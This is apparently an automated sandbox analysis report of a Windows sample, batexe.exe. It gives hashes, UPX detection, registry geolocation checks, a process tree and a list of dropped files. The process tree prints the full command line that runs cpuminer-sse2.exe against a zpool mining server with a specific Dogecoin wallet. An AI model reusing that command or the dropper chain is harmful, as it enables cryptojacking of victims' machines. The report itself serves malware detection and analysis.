73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 19:40

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2332	b2e.exe
5088	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5088	cpuminer-sse2.exe
5088	cpuminer-sse2.exe
5088	cpuminer-sse2.exe
5088	cpuminer-sse2.exe
5088	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1160-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1160 wrote to memory of 2332	1160	batexe.exe	82
PID 1160 wrote to memory of 2332	1160	batexe.exe	82
PID 1160 wrote to memory of 2332	1160	batexe.exe	82
PID 2332 wrote to memory of 4780	2332	b2e.exe	83
PID 2332 wrote to memory of 4780	2332	b2e.exe	83
PID 2332 wrote to memory of 4780	2332	b2e.exe	83
PID 4780 wrote to memory of 5088	4780	cmd.exe	86
PID 4780 wrote to memory of 5088	4780	cmd.exe	86

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Users\Admin\AppData\Local\Temp\AD86.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AD86.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AD86.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C208.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AD86.tmp\b2e.exe

Filesize
32.9MB

MD5
3c525b3d93720b9b1c5163ccb862d1b8

SHA1
b29d4d88294ac2f0eb8d8e5934a2bf4176cffd3b

SHA256
6a9f3132f95ca14cef0fe4620d42612f5c027cd9066f0cf2de678b09a40c56c7

SHA512
d99ee88139b64e2580357f8ae4a99358d738c08d5f12a88cb4a618b4366aa449132fdb213cead99f931f08a7b5aeb0e7cb855a58e95182d574bba7fe88033517

Download Submit
C:\Users\Admin\AppData\Local\Temp\AD86.tmp\b2e.exe

Filesize
7.2MB

MD5
7cc1fb3b1bb6c3738420eb4597e17a3d

SHA1
9bdee1a510db7030127fab7e4b84099bb0b6d30d

SHA256
9fecf323a4f5740c7e511e36cb75c34b5442d1dd3b1b3f9538bc2aa4416913f3

SHA512
00404d811382bcbe0377828ab1bd9c5fefb431c3820f2c1ddef2bd09c856d21fad51b091627af7e05464271998176d66169bc5f3ff6514b736693e27ce87c6dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\AD86.tmp\b2e.exe

Filesize
9.3MB

MD5
1d4d90c5375de132fdf7f18980037991

SHA1
d4cac265c3d2d62b57c200535285e9ae46ed4db7

SHA256
571e0cf9c7228f3363bdcea6b412c3d3e7177218aaf5b9c30e5a6a226afa858d

SHA512
16258090e4682bcab19ea60166f6bd7b067ce6f2d2f33a10651961e2b8e789e5354ece6e201ef5636a72733aa085f8cf266d935cb4224605f036b83ef58c8d4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\C208.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
64KB

MD5
7fcedb6e973c5df3b6652a2afafa6a13

SHA1
116728803559ab58a8127544df80b75a0dd1c6d2

SHA256
fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825

SHA512
05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
bea90fdfb1e00b856f7118c9937efe21

SHA1
f71a07b6076a8fd598db33728abda179eb999780

SHA256
ce2423b9c1d15daa4eb2e31a36c85166557524e657072e0b722e3f950bf09ae9

SHA512
17c884746ca7fed8c96023a0d27f69b1881b6ea501f9bf715a9b765a75256732719633091a71a633725d3bccb48e566accfafd32d483c9d158f1de82ae18389e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
dd802e66938d6d45b8260ca5257ca68f

SHA1
5d9866e606d40e8381d79cc241c9ca1bf30e90df

SHA256
3b042683eb0d0a9bb42123ca95fa092bad2f3bde4484d8c6e78243599da8b38c

SHA512
26dcac5d1d8e8dc7690e1c8eba511407aad66e82c4c21216b41b46196e0e7450b3a05c623c7151f51fd8a1e6ea65816c2f96c787cafa683780f0ec8682d57d54

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.2MB

MD5
1b530df46cefc5af7f2abe1c2467eac2

SHA1
5faa2344fbe3e402e4addbcc435812add424ad39

SHA256
9ca7159f27c0ed5fd018fc5410da8a01eedf4b7edb317739cf42866bb6eb62c5

SHA512
a51d67379b23090bb075a1b1830031068ffa86c299960fb7aa0f2005165ff29a2f463ce01f69405d3c9062e56faeb9403e0bfed6a8c73debbc07e700b37d5147

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1160-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2332-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2332-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5088-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5088-46-0x000000006E070000-0x000000006E108000-memory.dmp

Filesize
608KB

Download
memory/5088-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/5088-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5088-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5088-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download